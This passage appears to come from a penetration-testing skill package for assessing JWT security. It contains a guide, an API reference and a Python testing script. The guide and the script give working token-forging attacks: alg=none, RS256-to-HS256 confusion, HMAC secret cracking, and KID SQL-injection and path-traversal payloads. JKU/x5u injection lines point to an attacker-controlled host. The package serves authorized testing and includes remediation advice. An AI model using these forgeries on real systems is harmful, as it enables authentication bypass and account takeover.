the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,354 @@
|
||||
---
|
||||
name: testing-jwt-token-security
|
||||
description: Assessing JSON Web Token implementations for cryptographic weaknesses,
|
||||
algorithm confusion attacks, and authorization bypass vulnerabilities during security
|
||||
engagements.
|
||||
domain: cybersecurity
|
||||
subdomain: web-application-security
|
||||
tags:
|
||||
- penetration-testing
|
||||
- jwt
|
||||
- authentication
|
||||
- web-security
|
||||
- token-security
|
||||
- burpsuite
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.PS-01
|
||||
- ID.RA-01
|
||||
- PR.DS-10
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1190
|
||||
- T1059.007
|
||||
- T1505.003
|
||||
- T1083
|
||||
- T1027
|
||||
---
|
||||
|
||||
# Testing JWT Token Security
|
||||
|
||||
## When to Use
|
||||
|
||||
- During authorized penetration tests when the application uses JWT for authentication or authorization
|
||||
- When assessing API security where JWTs are passed as Bearer tokens or in cookies
|
||||
- For evaluating SSO implementations that use JWT/JWS/JWE tokens
|
||||
- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs
|
||||
- During security audits of microservice architectures using JWT for inter-service authentication
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- **Authorization**: Written penetration testing agreement for the target
|
||||
- **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https://github.com/ticarpi/jwt_tool.git`)
|
||||
- **Burp Suite Professional**: With JSON Web Token extension from BApp Store
|
||||
- **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`)
|
||||
- **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`)
|
||||
- **jq**: For JSON processing
|
||||
- **Target JWT**: A valid JWT token from the application
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Decode and Analyze the JWT Structure
|
||||
|
||||
Extract and examine the header, payload, and signature components.
|
||||
|
||||
```bash
|
||||
# Decode JWT parts (base64url decode)
|
||||
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
|
||||
|
||||
# Decode header
|
||||
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
|
||||
# Output: {"alg":"HS256","typ":"JWT"}
|
||||
|
||||
# Decode payload
|
||||
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
|
||||
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}
|
||||
|
||||
# Using jwt_tool for comprehensive analysis
|
||||
python3 jwt_tool.py "$JWT"
|
||||
|
||||
# Check for sensitive data in the payload:
|
||||
# - PII (email, phone, address)
|
||||
# - Internal IDs or database references
|
||||
# - Role/permission claims
|
||||
# - Expiration times (exp, nbf, iat)
|
||||
# - Issuer (iss) and audience (aud)
|
||||
```
|
||||
|
||||
### Step 2: Test Algorithm None Attack
|
||||
|
||||
Attempt to forge tokens by setting the algorithm to "none".
|
||||
|
||||
```bash
|
||||
# jwt_tool algorithm none attack
|
||||
python3 jwt_tool.py "$JWT" -X a
|
||||
|
||||
# Manual none algorithm attack
|
||||
# Create header: {"alg":"none","typ":"JWT"}
|
||||
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
|
||||
|
||||
# Create modified payload (change role to admin)
|
||||
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
|
||||
|
||||
# Construct token with empty signature
|
||||
FORGED_JWT="${HEADER}.${PAYLOAD}."
|
||||
echo "Forged JWT: $FORGED_JWT"
|
||||
|
||||
# Test the forged token
|
||||
curl -s -H "Authorization: Bearer $FORGED_JWT" \
|
||||
"https://target.example.com/api/admin/users" | jq .
|
||||
|
||||
# Try variations: "None", "NONE", "nOnE"
|
||||
for alg in none None NONE nOnE; do
|
||||
HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
|
||||
FORGED="${HEADER}.${PAYLOAD}."
|
||||
echo -n "alg=$alg: "
|
||||
curl -s -o /dev/null -w "%{http_code}" \
|
||||
-H "Authorization: Bearer $FORGED" \
|
||||
"https://target.example.com/api/admin/users"
|
||||
echo
|
||||
done
|
||||
```
|
||||
|
||||
### Step 3: Test Algorithm Confusion (RS256 to HS256)
|
||||
|
||||
If the server uses RS256, try switching to HS256 and signing with the public key.
|
||||
|
||||
```bash
|
||||
# Step 1: Obtain the server's public key
|
||||
# Check common locations
|
||||
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
|
||||
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
|
||||
curl -s "https://target.example.com/oauth/certs" | jq .
|
||||
|
||||
# Step 2: Extract public key from JWKS
|
||||
# Save the JWKS and convert to PEM format
|
||||
# Use jwt_tool or openssl
|
||||
|
||||
# Step 3: jwt_tool key confusion attack
|
||||
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
|
||||
|
||||
# Manual algorithm confusion attack with Python
|
||||
python3 << 'PYEOF'
|
||||
import jwt
|
||||
import json
|
||||
|
||||
# Read the server's RSA public key
|
||||
with open('public_key.pem', 'r') as f:
|
||||
public_key = f.read()
|
||||
|
||||
# Create forged payload
|
||||
payload = {
|
||||
"sub": "1234567890",
|
||||
"name": "Admin User",
|
||||
"role": "admin",
|
||||
"iat": 1516239022,
|
||||
"exp": 9999999999
|
||||
}
|
||||
|
||||
# Sign with HS256 using the RSA public key as the HMAC secret
|
||||
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
|
||||
print(f"Forged token: {forged_token}")
|
||||
PYEOF
|
||||
|
||||
# Test the forged token
|
||||
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
|
||||
"https://target.example.com/api/admin/users"
|
||||
```
|
||||
|
||||
### Step 4: Brute-Force HMAC Secret
|
||||
|
||||
If HS256 is used, attempt to crack the signing secret.
|
||||
|
||||
```bash
|
||||
# Using jwt_tool with common secrets
|
||||
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
|
||||
|
||||
# Using hashcat for GPU-accelerated cracking
|
||||
# Mode 16500 = JWT (HS256)
|
||||
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
|
||||
|
||||
# Using john the ripper
|
||||
echo "$JWT" > jwt_hash.txt
|
||||
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
|
||||
|
||||
# If secret is found, forge arbitrary tokens
|
||||
python3 << 'PYEOF'
|
||||
import jwt
|
||||
|
||||
secret = "cracked_secret_here"
|
||||
payload = {
|
||||
"sub": "1",
|
||||
"name": "Admin",
|
||||
"role": "admin",
|
||||
"exp": 9999999999
|
||||
}
|
||||
token = jwt.encode(payload, secret, algorithm='HS256')
|
||||
print(f"Forged token: {token}")
|
||||
PYEOF
|
||||
```
|
||||
|
||||
### Step 5: Test JWT Claim Manipulation and Injection
|
||||
|
||||
Modify JWT claims to escalate privileges or bypass authorization.
|
||||
|
||||
```bash
|
||||
# Using jwt_tool for claim tampering
|
||||
# Change role claim
|
||||
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
|
||||
-pc role -pv admin
|
||||
|
||||
# Test common claim attacks:
|
||||
|
||||
# 1. JKU (JWK Set URL) injection
|
||||
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
|
||||
# Host attacker-controlled JWKS at the URL
|
||||
|
||||
# 2. KID (Key ID) injection
|
||||
# SQL injection in kid parameter
|
||||
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
# If kid is used in file path lookup, point to /dev/null (empty key)
|
||||
|
||||
# SQL injection via kid
|
||||
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
|
||||
|
||||
# 3. x5u (X.509 URL) injection
|
||||
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
|
||||
|
||||
# 4. Modify subject and role claims
|
||||
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
|
||||
-pc sub -pv "admin@target.com" \
|
||||
-pc role -pv "superadmin"
|
||||
```
|
||||
|
||||
### Step 6: Test Token Lifetime and Revocation
|
||||
|
||||
Assess token expiration enforcement and revocation capabilities.
|
||||
|
||||
```bash
|
||||
# Test expired token acceptance
|
||||
python3 << 'PYEOF'
|
||||
import jwt
|
||||
import time
|
||||
|
||||
secret = "known_secret"
|
||||
# Create token that expired 1 hour ago
|
||||
payload = {
|
||||
"sub": "user123",
|
||||
"role": "user",
|
||||
"exp": int(time.time()) - 3600,
|
||||
"iat": int(time.time()) - 7200
|
||||
}
|
||||
expired_token = jwt.encode(payload, secret, algorithm='HS256')
|
||||
print(f"Expired token: {expired_token}")
|
||||
PYEOF
|
||||
|
||||
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
|
||||
"https://target.example.com/api/profile" -w "%{http_code}"
|
||||
|
||||
# Test token with far-future expiration
|
||||
python3 << 'PYEOF'
|
||||
import jwt
|
||||
|
||||
secret = "known_secret"
|
||||
payload = {
|
||||
"sub": "user123",
|
||||
"role": "user",
|
||||
"exp": 32503680000 # Year 3000
|
||||
}
|
||||
long_lived = jwt.encode(payload, secret, algorithm='HS256')
|
||||
print(f"Long-lived token: {long_lived}")
|
||||
PYEOF
|
||||
|
||||
# Test token reuse after logout
|
||||
# 1. Capture JWT before logout
|
||||
# 2. Log out (call /auth/logout)
|
||||
# 3. Try using the captured JWT again
|
||||
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
|
||||
"https://target.example.com/api/profile" -w "%{http_code}"
|
||||
# If 200, tokens are not revoked on logout
|
||||
|
||||
# Test token reuse after password change
|
||||
# Similar test: capture JWT, change password, reuse old JWT
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Concept | Description |
|
||||
|---------|-------------|
|
||||
| **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` |
|
||||
| **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret |
|
||||
| **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force |
|
||||
| **JKU/x5u Injection** | Pointing JWT header URLs to attacker-controlled key servers |
|
||||
| **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter |
|
||||
| **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key |
|
||||
| **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration |
|
||||
| **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules |
|
||||
| **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation |
|
||||
| **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) |
|
||||
| **John the Ripper** | CPU-based JWT secret cracking |
|
||||
| **PyJWT** | Python library for programmatic JWT creation and manipulation |
|
||||
| **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) |
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario 1: Algorithm None Bypass
|
||||
The JWT library accepts `"alg":"none"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.
|
||||
|
||||
### Scenario 2: Weak HMAC Secret
|
||||
The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.
|
||||
|
||||
### Scenario 3: Algorithm Confusion on SSO
|
||||
An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.
|
||||
|
||||
### Scenario 4: KID SQL Injection
|
||||
The `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## JWT Security Finding
|
||||
|
||||
**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
|
||||
**Severity**: Critical (CVSS 9.8)
|
||||
**Location**: Authorization header across all API endpoints
|
||||
**OWASP Category**: A02:2021 - Cryptographic Failures
|
||||
|
||||
### JWT Configuration
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| Algorithm | RS256 (also accepts HS256) |
|
||||
| Issuer | auth.target.example.com |
|
||||
| Expiration | 24 hours |
|
||||
| Public Key | Available at /.well-known/jwks.json |
|
||||
| Revocation | Not implemented |
|
||||
|
||||
### Attacks Confirmed
|
||||
| Attack | Result |
|
||||
|--------|--------|
|
||||
| Algorithm None | Blocked |
|
||||
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
|
||||
| HMAC Brute Force | N/A (RSA) |
|
||||
| KID Injection | Not present |
|
||||
| Expired Token Reuse | Accepted (no revocation) |
|
||||
|
||||
### Impact
|
||||
- Complete authentication bypass via forged admin tokens
|
||||
- Any user can escalate to any role by forging JWT claims
|
||||
- Tokens remain valid after logout (no server-side revocation)
|
||||
|
||||
### Recommendation
|
||||
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
|
||||
2. Use asymmetric algorithms (RS256/ES256) with proper key management
|
||||
3. Implement token revocation via a blocklist or short expiration with refresh tokens
|
||||
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
|
||||
5. Use a minimum key length of 256 bits for HMAC secrets
|
||||
```
|
||||
@@ -0,0 +1,68 @@
|
||||
# API Reference: Testing JWT Token Security
|
||||
|
||||
## PyJWT Library
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
pip install PyJWT
|
||||
```
|
||||
|
||||
### Encoding (Creating Tokens)
|
||||
```python
|
||||
import jwt
|
||||
token = jwt.encode(payload, secret, algorithm="HS256")
|
||||
```
|
||||
|
||||
### Decoding
|
||||
```python
|
||||
# Without verification (for analysis)
|
||||
payload = jwt.decode(token, options={"verify_signature": False})
|
||||
|
||||
# With verification
|
||||
payload = jwt.decode(token, secret, algorithms=["HS256"])
|
||||
```
|
||||
|
||||
### Supported Algorithms
|
||||
| Algorithm | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `HS256` | HMAC | SHA-256 symmetric signing |
|
||||
| `HS384` | HMAC | SHA-384 symmetric signing |
|
||||
| `HS512` | HMAC | SHA-512 symmetric signing |
|
||||
| `RS256` | RSA | SHA-256 asymmetric signing |
|
||||
| `RS384` | RSA | SHA-384 asymmetric signing |
|
||||
| `ES256` | ECDSA | P-256 curve signing |
|
||||
|
||||
## JWT Attack Types
|
||||
| Attack | Description | Severity |
|
||||
|--------|-------------|----------|
|
||||
| Algorithm None | Set alg to "none", remove signature | Critical |
|
||||
| Algorithm Confusion | Switch RS256 to HS256, sign with public key | Critical |
|
||||
| HMAC Brute Force | Crack weak signing secrets | Critical |
|
||||
| JKU Injection | Point JWK Set URL to attacker server | Critical |
|
||||
| KID Injection | SQL injection or path traversal in Key ID | Critical |
|
||||
| Claim Tampering | Modify role/sub claims after key compromise | High |
|
||||
| Expired Token Reuse | Use tokens past expiration | High |
|
||||
| No Revocation | Tokens valid after logout/password change | High |
|
||||
|
||||
## JWT Structure
|
||||
```
|
||||
Header.Payload.Signature
|
||||
base64url({"alg":"HS256","typ":"JWT"}).base64url({"sub":"1","role":"user"}).HMACSHA256(...)
|
||||
```
|
||||
|
||||
## Standard Claims
|
||||
| Claim | Description |
|
||||
|-------|-------------|
|
||||
| `iss` | Token issuer |
|
||||
| `sub` | Subject (user identifier) |
|
||||
| `aud` | Intended audience |
|
||||
| `exp` | Expiration time (Unix timestamp) |
|
||||
| `nbf` | Not valid before time |
|
||||
| `iat` | Issued at time |
|
||||
| `jti` | Unique token identifier |
|
||||
|
||||
## References
|
||||
- PyJWT docs: https://pyjwt.readthedocs.io/
|
||||
- jwt_tool: https://github.com/ticarpi/jwt_tool
|
||||
- JWT attacks: https://portswigger.net/web-security/jwt
|
||||
- RFC 7519 (JWT): https://www.rfc-editor.org/rfc/rfc7519
|
||||
@@ -0,0 +1,237 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for testing JWT token security during authorized assessments."""
|
||||
|
||||
import jwt
|
||||
import json
|
||||
import hmac
|
||||
import hashlib
|
||||
import base64
|
||||
import os
|
||||
import argparse
|
||||
import requests
|
||||
import urllib3
|
||||
from datetime import datetime, timedelta, timezone
|
||||
from urllib.parse import urljoin
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
def decode_jwt(token):
|
||||
"""Decode and display JWT header and payload without verification."""
|
||||
parts = token.split(".")
|
||||
if len(parts) != 3:
|
||||
print("[-] Invalid JWT format (expected 3 parts)")
|
||||
return None, None
|
||||
|
||||
def b64_decode(data):
|
||||
padding = 4 - len(data) % 4
|
||||
data += "=" * padding
|
||||
return base64.urlsafe_b64decode(data)
|
||||
|
||||
header = json.loads(b64_decode(parts[0]))
|
||||
payload = json.loads(b64_decode(parts[1]))
|
||||
|
||||
print("[*] JWT Header:")
|
||||
print(json.dumps(header, indent=2))
|
||||
print("\n[*] JWT Payload:")
|
||||
print(json.dumps(payload, indent=2))
|
||||
|
||||
if "exp" in payload:
|
||||
exp_time = datetime.fromtimestamp(payload["exp"], tz=timezone.utc)
|
||||
now = datetime.now(timezone.utc)
|
||||
if exp_time < now:
|
||||
print(f"\n [!] Token EXPIRED at {exp_time.isoformat()}")
|
||||
else:
|
||||
remaining = exp_time - now
|
||||
print(f"\n [+] Token expires at {exp_time.isoformat()} ({remaining} remaining)")
|
||||
return header, payload
|
||||
|
||||
|
||||
def test_alg_none(token, target_url=None):
|
||||
"""Test algorithm none attack - forge token without signature."""
|
||||
print("\n[*] Testing algorithm 'none' attack...")
|
||||
parts = token.split(".")
|
||||
payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
|
||||
findings = []
|
||||
|
||||
for alg in ["none", "None", "NONE", "nOnE"]:
|
||||
header = base64.urlsafe_b64encode(
|
||||
json.dumps({"alg": alg, "typ": "JWT"}).encode()
|
||||
).rstrip(b"=").decode()
|
||||
payload_data["role"] = "admin"
|
||||
payload_encoded = base64.urlsafe_b64encode(
|
||||
json.dumps(payload_data).encode()
|
||||
).rstrip(b"=").decode()
|
||||
forged = f"{header}.{payload_encoded}."
|
||||
|
||||
if target_url:
|
||||
try:
|
||||
resp = requests.get(target_url, headers={"Authorization": f"Bearer {forged}"},
|
||||
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
if resp.status_code == 200:
|
||||
findings.append({
|
||||
"type": "ALG_NONE", "alg_value": alg,
|
||||
"status": resp.status_code, "severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] VULNERABLE: alg={alg} accepted (status {resp.status_code})")
|
||||
else:
|
||||
print(f" [+] alg={alg} rejected (status {resp.status_code})")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
else:
|
||||
print(f" [*] Forged token (alg={alg}): {forged[:80]}...")
|
||||
return findings
|
||||
|
||||
|
||||
def test_hmac_brute_force(token, wordlist_path):
|
||||
"""Brute force HMAC secret using a wordlist."""
|
||||
print(f"\n[*] Brute forcing HMAC secret with {wordlist_path}...")
|
||||
parts = token.split(".")
|
||||
header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
|
||||
alg = header.get("alg", "HS256")
|
||||
|
||||
if alg not in ("HS256", "HS384", "HS512"):
|
||||
print(f" [-] Algorithm {alg} is not HMAC-based, skipping")
|
||||
return None
|
||||
|
||||
signing_input = f"{parts[0]}.{parts[1]}".encode()
|
||||
signature = base64.urlsafe_b64decode(parts[2] + "==")
|
||||
hash_func = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}[alg]
|
||||
|
||||
try:
|
||||
with open(wordlist_path, "r", errors="ignore") as f:
|
||||
for i, line in enumerate(f):
|
||||
secret = line.strip()
|
||||
if not secret:
|
||||
continue
|
||||
computed = hmac.new(secret.encode(), signing_input, hash_func).digest()
|
||||
if hmac.compare_digest(computed, signature):
|
||||
print(f" [!] SECRET FOUND: '{secret}' (attempt {i+1})")
|
||||
return secret
|
||||
if (i + 1) % 10000 == 0:
|
||||
print(f" [*] Tried {i+1} secrets...")
|
||||
except FileNotFoundError:
|
||||
print(f" [-] Wordlist not found: {wordlist_path}")
|
||||
print(" [-] Secret not found in wordlist")
|
||||
return None
|
||||
|
||||
|
||||
def forge_token(secret, claims, algorithm="HS256"):
|
||||
"""Create a forged JWT with custom claims."""
|
||||
print(f"\n[*] Forging token with claims: {claims}")
|
||||
if "exp" not in claims:
|
||||
claims["exp"] = int((datetime.now(timezone.utc) + timedelta(hours=24)).timestamp())
|
||||
token = jwt.encode(claims, secret, algorithm=algorithm)
|
||||
print(f" [+] Forged token: {token[:80]}...")
|
||||
return token
|
||||
|
||||
|
||||
def test_expired_token(token, target_url):
|
||||
"""Test if expired tokens are still accepted."""
|
||||
print(f"\n[*] Testing expired token acceptance...")
|
||||
parts = token.split(".")
|
||||
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
|
||||
if "exp" in payload and payload["exp"] < datetime.now(timezone.utc).timestamp():
|
||||
try:
|
||||
resp = requests.get(target_url, headers={"Authorization": f"Bearer {token}"},
|
||||
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
if resp.status_code == 200:
|
||||
print(f" [!] VULNERABLE: Expired token accepted (status {resp.status_code})")
|
||||
return [{"type": "EXPIRED_TOKEN_ACCEPTED", "severity": "HIGH"}]
|
||||
else:
|
||||
print(f" [+] Expired token rejected (status {resp.status_code})")
|
||||
except requests.RequestException:
|
||||
pass
|
||||
else:
|
||||
print(" [*] Token not expired, skipping test")
|
||||
return []
|
||||
|
||||
|
||||
def test_token_after_logout(token, target_url, logout_url):
|
||||
"""Test if token is still valid after logout."""
|
||||
print(f"\n[*] Testing token validity after logout...")
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
try:
|
||||
pre = requests.get(target_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
if pre.status_code != 200:
|
||||
print(" [-] Token not valid pre-logout, skipping")
|
||||
return []
|
||||
requests.post(logout_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
post = requests.get(target_url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
if post.status_code == 200:
|
||||
print(f" [!] VULNERABLE: Token still valid after logout")
|
||||
return [{"type": "NO_TOKEN_REVOCATION", "severity": "HIGH"}]
|
||||
else:
|
||||
print(f" [+] Token properly revoked after logout")
|
||||
except requests.RequestException:
|
||||
pass
|
||||
return []
|
||||
|
||||
|
||||
def check_jwks_endpoint(base_url):
|
||||
"""Check for JWKS and OpenID configuration endpoints."""
|
||||
print(f"\n[*] Checking for JWKS/OIDC endpoints...")
|
||||
endpoints = [
|
||||
"/.well-known/jwks.json", "/.well-known/openid-configuration",
|
||||
"/oauth/certs", "/auth/keys", "/.well-known/keys",
|
||||
]
|
||||
for ep in endpoints:
|
||||
url = urljoin(base_url, ep)
|
||||
try:
|
||||
resp = requests.get(url, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
if resp.status_code == 200:
|
||||
print(f" [+] Found: {ep}")
|
||||
data = resp.json()
|
||||
if "keys" in data:
|
||||
for key in data["keys"]:
|
||||
print(f" Key ID: {key.get('kid', 'N/A')} | Alg: {key.get('alg', 'N/A')}")
|
||||
except (requests.RequestException, json.JSONDecodeError):
|
||||
continue
|
||||
|
||||
|
||||
def generate_report(findings, output_path):
|
||||
"""Generate JWT security assessment report."""
|
||||
report = {
|
||||
"assessment_date": datetime.now().isoformat(),
|
||||
"total_findings": len(findings),
|
||||
"findings": findings,
|
||||
}
|
||||
with open(output_path, "w") as fh:
|
||||
json.dump(report, fh, indent=2)
|
||||
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="JWT Token Security Testing Agent")
|
||||
parser.add_argument("token", help="JWT token to test")
|
||||
parser.add_argument("--target-url", help="URL to test forged tokens against")
|
||||
parser.add_argument("--base-url", help="Base URL for JWKS discovery")
|
||||
parser.add_argument("--wordlist", help="Wordlist for HMAC brute force")
|
||||
parser.add_argument("--logout-url", help="Logout URL for revocation testing")
|
||||
parser.add_argument("--forge-claims", help="JSON claims to forge (requires --secret)")
|
||||
parser.add_argument("--secret", help="Known signing secret for forging")
|
||||
parser.add_argument("-o", "--output", default="jwt_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] JWT Token Security Assessment")
|
||||
findings = []
|
||||
header, payload = decode_jwt(args.token)
|
||||
if args.base_url:
|
||||
check_jwks_endpoint(args.base_url)
|
||||
findings.extend(test_alg_none(args.token, args.target_url))
|
||||
if args.wordlist:
|
||||
secret = test_hmac_brute_force(args.token, args.wordlist)
|
||||
if secret:
|
||||
findings.append({"type": "WEAK_HMAC_SECRET", "secret": secret, "severity": "CRITICAL"})
|
||||
if args.target_url:
|
||||
findings.extend(test_expired_token(args.token, args.target_url))
|
||||
if args.target_url and args.logout_url:
|
||||
findings.extend(test_token_after_logout(args.token, args.target_url, args.logout_url))
|
||||
if args.secret and args.forge_claims:
|
||||
claims = json.loads(args.forge_claims)
|
||||
forge_token(args.secret, claims)
|
||||
generate_report(findings, args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
